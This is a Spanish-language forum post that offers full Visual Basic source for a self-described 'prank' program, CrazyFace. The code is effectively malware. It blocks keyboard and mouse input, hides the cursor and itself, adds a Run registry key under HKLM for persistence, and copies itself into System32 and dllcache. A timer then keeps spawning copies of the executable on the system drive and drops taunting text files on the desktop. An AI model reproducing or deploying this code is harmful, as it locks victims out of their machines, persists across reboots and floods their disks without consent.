Bueno es una bromita que he hecho en mi tiempo libre con varios codigos aprendido en el foro de Visual Basic. aca pongo los codes y el archivo entero comprimido en Rar.
Para ver este enlace Registrate o Inicia Sesion CrazyFace
Nota: No solo copien en el codigo, mejor bajen el archivo porque ahi se encuentra la imagen que debe ir en el contro Image
En el formulariodeberan agregar 3 timer,1 text, 1 control image
Private Declare Function AnimateWindow Lib "user32" ( _
ByVal hwnd As Long, _
ByVal dwTime As Long, _
ByVal dwFlags As Long) As Long
' Constantes
Private Const AW_HOR_POSITIVE = &O1
Private Const AW_HOR_NEGATIVE = &H2
Private Const AW_VER_POSITIVE = &H4
Private Const AW_VER_NEGATIVE = &H8
Private Const AW_CENTER = &H10
Private Const AW_ACTIVATE = &H20000
Private Const SWP_NOMOVE = 2
Private Const SWP_NOSIZE = 1
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Declare Function SetWindowPos Lib "user32" _
(ByVal hwnd As Long, ByVal hWndREPLACEAfter As Long, _
ByVal X As Long, ByVal Y As Long, ByVal cx As Long, _
ByVal cy As Long, ByVal wFlags As Long) As Long
Public root As String
Public c As Integer
Public d As Integer
Public Sub VentanaSiempreFregando(hwnd As Long)
SetWindowPos hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End Sub
Public Sub VentanaNormal(hwnd As Long)
SetWindowPos hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE
End Sub
Public Function FileExists%(fname$)
On Local Error Resume Next
Dim ff%
ff% = FreeFile
Open fname$ For Input As ff%
If Err Then
FileExists% = False
Else
FileExists% = True
End If
Close ff%
End Function
Private Sub Form_Load()
App.TaskVisible = False
root = (App.Path & "\" & App.EXEName & ".exe")
If Me.Visible = True Then
'Declaracion de Variables
Dim Reg As Object
Dim vir As String
Dim vir2 As String
Dim Ruta As String
Dim Data() As Byte
Dim fLen As Long
Dim CadenaNueva As String
Dim ContenidoCadena As String
Dim Flags As Long
Flags = AW_CENTER Or AW_ACTIVATE
AnimateWindow Me.hwnd, 400, Flags
VentanaSiempreFregando Me.hwnd
BlockInput True
ShowCursor False
Smiley Me
ContenidoCadena = Environ("Homedrive") & "\Windows\System32\" & "CrazyFace.exe"
CadenaNueva = "\CrazyFace"
Ruta = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
"\CurrentVersion\Run" & CadenaNueva
Set Reg = CreateObject("WScript.Shell")
Reg.RegWrite Ruta, ContenidoCadena
On Error Resume Next
vir = (Environ("HOMEDRIVE") & "\Windows\System32\" & "CrazyFace.exe")
vir2 = (Environ("HOMEDRIVE") & "\Windows\System32\dllcache" & "backup.exe")
success% = FileExists%(vir)
'Si esta en la carpeta del sistema lo copia con nombre ascendente
'y se autocopia a dllcache como "backup"
If success% = False Then
Open root For Binary Lock Read As 3
Open Environ("HOMEDRIVE") & "\WINDOWS\SYSTEM32\" & "CrazyFace.exe" _
For Binary Access Write As 4
fLen = FileLen(root)
ReDim Data(fLen) As Byte
Get #3, , Data
Put #4, , Data
Close
Close
Else
success2% = FileExists%(vir2)
If success2% = False Then
Open root For Binary Lock Read As 1
Open Environ("HOMEDRIVE") & "\WINDOWS\SYSTEM32\DLLCACHE\" & "backup.exe" _
For Binary Access Write As 2
fLen = FileLen(root)
ReDim Data(fLen) As Byte
Get #1, , Data
Put #2, , Data
Close
Close
End If
End If
End If
End Sub
Private Sub Form_Resize()
Dim oldSmiley
oldSmiley = leSmiley
Smiley Me
DeleteObject oldSmiley
End Sub
Private Sub Timer1_Timer()
Randomize Timer
Me.Top = Int(Rnd * 8000) - 100
Me.Left = Int(Rnd * 14000) - 1000
End Sub
Private Sub Timer2_Timer()
d = d + 1
If d > 10 Then
Timer1.Enabled = True
Me.Visible = True
End If
End Sub
Private Sub Timer3_Timer()
If Me.Visible = True Then
Open root For Binary Lock Read As 5
Open (Environ("homedrive") & "\" & "CrazyFace" & c & ".exe") _
For Binary Access Write As 6
fLen = FileLen(root)
ReDim Data(fLen) As Byte
Get #5, , Data
Put #6, , Data
Close
Close
If c > 136 Then
Dim mens As String
mens = "HOLA SUCIO MONO..... ESTA BROMA FUE CREADA POR .:: CRYPTO 136 ::. " & _
", ESPERO TE HAYA GUSTADO." & vbCrLf & vbCrLf & _
"Esta es mi llave publica escribanme!!" & vbCrLf & _
vbCrLf & Text1.Text
Open (Environ("homedrive") & Environ("homepath") & "\Escritorio" & _
"\MENSAJE_DEL_CREADOR" & c & ".txt") For Output As #1
Print #1, mens
Close
End If
c = c + 1
End If
End Sub
En un modulo basOption Explicit
Public Declare Function BlockInput Lib "user32" _
(ByVal fBlock As Long) As Long
Declare Function ShowCursor Lib "user32" _
(ByVal bShow As Long) As Long
Dim leSmiley As Long
Declare Function CreateRectRgn Lib "gdi32" ( _
ByVal X1 As Long, _
ByVal Y1 As Long, _
ByVal X2 As Long, _
ByVal Y2 As Long) _
As Long
Declare Function CreateEllipticRgn Lib "gdi32" ( _
ByVal X1 As Long, _
ByVal Y1 As Long, _
ByVal X2 As Long, _
ByVal Y2 As Long) _
As Long
Declare Function CreatePolygonRgn Lib "gdi32" ( _
lpPoint As POINTAPI, _
ByVal nCount As Long, _
ByVal nPolyFillMode As Long _
) As Long
Type POINTAPI
X As Long
Y As Long
End Type
Public Const ALTERNATE = 1
Public Const WINDING = 2
Declare Function CombineRgn Lib "gdi32" ( _
ByVal hDestRgn As Long, _
ByVal hSrcRgn1 As Long, _
ByVal hSrcRgn2 As Long, _
ByVal nCombineMode As CombineMode _
) As Long
Public Enum CombineMode
RGN_AND = 1
RGN_COPY = 5
RGN_DIFF = 4
RGN_OR = 2
RGN_XOR = 3
End Enum
Declare Function SetWindowRgn Lib "user32" ( _
ByVal hwnd As Long, _
ByVal hRgn As Long, _
ByVal bRedraw As Boolean _
) As Long
Declare Function DeleteObject Lib "gdi32" ( _
ByVal hObject As Long _
) As Long
Sub Smiley(obj As Form)
Dim X As Long, Y As Long
X = obj.Width / Screen.TwipsPerPixelX
Y = obj.Height / Screen.TwipsPerPixelY
Dim Grond As Long
Dim Gsmile As Long
Dim Psmile As Long
Dim Rect As Long
Dim eyeG As Long
Dim eyeD As Long
Dim Bouee As Long
Dim leSmile As Long
Dim Yeux As Long
Dim Tete As Long
Dim LesPoints(0 To 4) As POINTAPI
Grond = CreateEllipticRgn(0, 0, X, Y)
Gsmile = CreateEllipticRgn(Int(X / 10), _
Int(Y / 10), Int(X * 9 / 10), Int(Y * 9 / 10))
Psmile = CreateEllipticRgn(Int(X * 2 / 10), _
Int(Y * 4 / 10), Int(X * 8 / 10), _
Int(Y * 8 / 10))
LesPoints(0).X = 0
LesPoints(0).Y = 0
LesPoints(1).X = X
LesPoints(1).Y = 0
LesPoints(2).X = X
LesPoints(2).Y = Int(Y * 8 / 10)
LesPoints(3).X = Int(X / 2)
LesPoints(3).Y = Int(Y / 2)
LesPoints(4).X = 0
LesPoints(4).Y = Int(Y * 8 / 10)
Rect = CreatePolygonRgn(LesPoints(0), 5, 1)
eyeG = CreateEllipticRgn(Int(X * 2 / 10), _
Int(Y * 3 / 10), Int(X * 4 / 10), _
Int(Y * 5 / 10))
eyeD = CreateEllipticRgn(Int(X * 6 / 10), _
Int(Y * 3 / 10), Int(X * 8 / 10), _
Int(Y * 5 / 10))
Bouee = CreateEllipticRgn(0, 0, X, Y)
leSmile = CreateEllipticRgn(0, 0, X, Y)
Yeux = CreateEllipticRgn(0, 0, X, Y)
Tete = CreateEllipticRgn(0, 0, X, Y)
leSmiley = CreateEllipticRgn(0, 0, X, Y)
CombineRgn Bouee, Gsmile, Psmile, RGN_DIFF
CombineRgn leSmile, Bouee, Rect, RGN_DIFF
CombineRgn Yeux, eyeG, eyeD, RGN_OR
CombineRgn Tete, Grond, Yeux, RGN_DIFF
DeleteObject Grond
DeleteObject Gsmile
DeleteObject Psmile
DeleteObject Rect
DeleteObject eyeG
DeleteObject eyeD
DeleteObject Bouee
DeleteObject leSmile
DeleteObject Yeux
DeleteObject Tete
SetWindowRgn obj.hwnd, leSmiley, True
End Sub
By : Crypto 136
Autor